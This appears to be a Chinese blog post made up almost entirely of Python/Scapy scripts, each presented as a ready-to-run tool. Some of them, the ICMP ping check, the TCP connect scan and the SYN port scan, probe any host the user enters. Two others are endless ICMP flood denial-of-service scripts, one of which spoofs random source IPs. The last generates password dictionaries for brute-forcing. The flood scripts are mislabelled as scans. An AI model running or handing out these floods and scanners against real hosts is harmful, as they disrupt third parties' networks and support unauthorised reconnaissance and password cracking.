ICMP扫描
from scapy.all import *
from random import randint
def main():
    # 提示用户输入要扫描的目标 IP 地址
    target_ip = input("请输入要扫描的目标 IP 地址: ")
    print(f"正在扫描 IP 地址: {target_ip}")
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    # 构建IP层和ICMP层数据包
    packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq) / b'rootkit'
    # 使用sr1发送数据包并接收响应,timeout设置超时时间为1秒,verbose=False,关闭详细输出
    result = sr1(packet, timeout=1, verbose=False)
    if result:
        # 如果收到响应,则表示目标IP存活
        scan_ip = result.src
        print(f"{scan_ip} is alive")
    else:
        # 如果没有收到响应,则表示目标IP可能不存活或网络不可达
        print(f"{target_ip} is down")
if __name__ == '__main__':
    main()
TCP全开放端口扫描
import socket
from scapy.all import *
from random import randint
import time
def is_alive(target_ip):
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
    result = sr1(packet, timeout=1, verbose=False)
    return result is not None
def scan_port(target_ip, target_port):
    sport = randint(1024, 65535)
    packet = IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="S")
    resp = sr1(packet, timeout=1, verbose=False)
    if resp is None:
        print(f"端口 {target_port} 未响应")
    elif resp.haslayer(TCP):
        if resp.getlayer(TCP).flags == 0x12:
            send_rst = sr(IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="AR"), timeout=0.1, verbose=False)
            print(f"端口 {target_port} 是开放的")
        elif resp.getlayer(TCP).flags == 0x14:
            print(f"端口 {target_port} 是关闭的")
    else:
        print(f"端口 {target_port} 响应异常")
def main():
    target_ip = input("请输入要扫描的目标 IP 地址: ")
    if is_alive(target_ip):
        print(f"{target_ip} is alive, starting port scan...")
        try:
            target_port = int(input("请输入要扫描的目标端口号: "))
            if 1 <= target_port <= 65535:
                scan_port(target_ip, target_port)
            else:
                print("端口号必须在 1 到 65535 之间")
        except ValueError:
            print("输入的端口号无效,请输入一个整数")
    else:
        print(f"{target_ip} is down, cannot perform port scan.")
if __name__ == '__main__':
    main()
TCP半开放端口扫描
import socket
from scapy.all import *
from random import randint
import time
def is_alive(target_ip):
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
    result = sr1(packet, timeout=1, verbose=False)
    return result is not None
def scan_port_syn(target_ip, target_port):
    sport = randint(1024, 65535)
    packet = IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="S")
    resp = sr1(packet, timeout=1, verbose=False)
    if resp is None:
        print(f"端口 {target_port} 无响应")
    elif resp.haslayer(TCP):
        if resp.getlayer(TCP).flags == 0x12:
            send_rst = sr(IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="R"), timeout=0.1, verbose=False)
            print(f"端口 {target_port} 是开放的")
        elif resp.getlayer(TCP).flags == 0x14:
            print(f"端口 {target_port} 是关闭的")
    else:
        print(f"端口 {target_port} 响应异常")
def main():
    target_ip = input("请输入要扫描的目标 IP 地址: ")
    if is_alive(target_ip):
        print(f"{target_ip} is alive, starting SYN port scan...")
        try:
            target_port = int(input("请输入要扫描的目标端口号: "))
            if 1 <= target_port <= 65535:
                scan_port_syn(target_ip, target_port)
            else:
                print("端口号必须在 1 到 65535 之间")
        except ValueError:
            print("输入的端口号无效,请输入一个整数")
    else:
        print(f"{target_ip} is down, cannot perform port scan.")
if __name__ == '__main__':
    main()
三层DOS扫描
import socket
from scapy.all import *
from random import randint
import time
def main():
    target_ip = input("请输入要进行三层DoS的目标IP地址: ")
    print(f"正在向 {target_ip} 发送ICMP包,源IP将随机生成...")
    while True:
        # 构造IP数据包
        ip_layer = IP(src=RandIP(), dst=target_ip)
        # 构造ICMP数据包
        icmp_layer = ICMP()
        # 将IP层和ICMP层组合成一个完整的数据包
        packet = ip_layer / icmp_layer
        send(packet, verbose=False)
        time.sleep(0.01)
        print(f"已发送一个ICMP包到 {target_ip},源 IP:{packet.src}")
if __name__ == '__main__':
    main()
二层DOS扫描
from scapy.all import *
from random import randint
import time
def main():
    target_ip = input("请输入要进行DoS的目标IP地址: ")
    print(f"正在向 {target_ip} 发送ICMP包...")
    while True:
        # 构造IP数据包
        ip_layer = IP(dst=target_ip)
        # 构造ICMP数据包
        icmp_layer = ICMP()
        # 将IP层和ICMP层组合成一个完整的数据包
        packet = ip_layer / icmp_layer
        # 发送数据包
        send(packet, verbose=False)
        time.sleep(0.1)
        print(f"已发送一个ICMP包到 {target_ip}")
if __name__ == '__main__':
    main()
字典生成器
import sys, random
import time
import itertools
def main():
    print("欢迎使用简单字典生成器!")
    # 获取用户输入的字符集
    characters = input("请输入要用于生成密码的字符集: ")
    if not characters:
        print("字符集不能为空")
        return
    # 获取用户输入的密码长度
    try:
        password_length = int(input("请输入要生成的密码长度: "))
        if password_length <= 0:
            print("密码长度必须大于0")
            return
    except ValueError:
        print("密码长度必须是整数")
        return
    output_filename = "dic.txt"
    print(f"正在生成长度为{password_length}的密码,保存到 '{output_filename}'")
    start_time = time.time()
    passwords = open(output_filename, "w")
    total_passwords = 0
    # 生成指定长度的排列
    temp = itertools.permutations(characters, password_length)
    for i in temp:
        password = "".join(i)
        passwords.write(password + "\n")
        total_passwords += 1
    passwords.close()
    end_time = time.time()
    duration = end_time - start_time
    print(f"字典生成完成,文件已保存为'{output_filename}'。")
if __name__ == '__main__':
    main()
© 版权声明
文章版权归作者所有,转载请标明出处。
THE END
    















暂无评论内容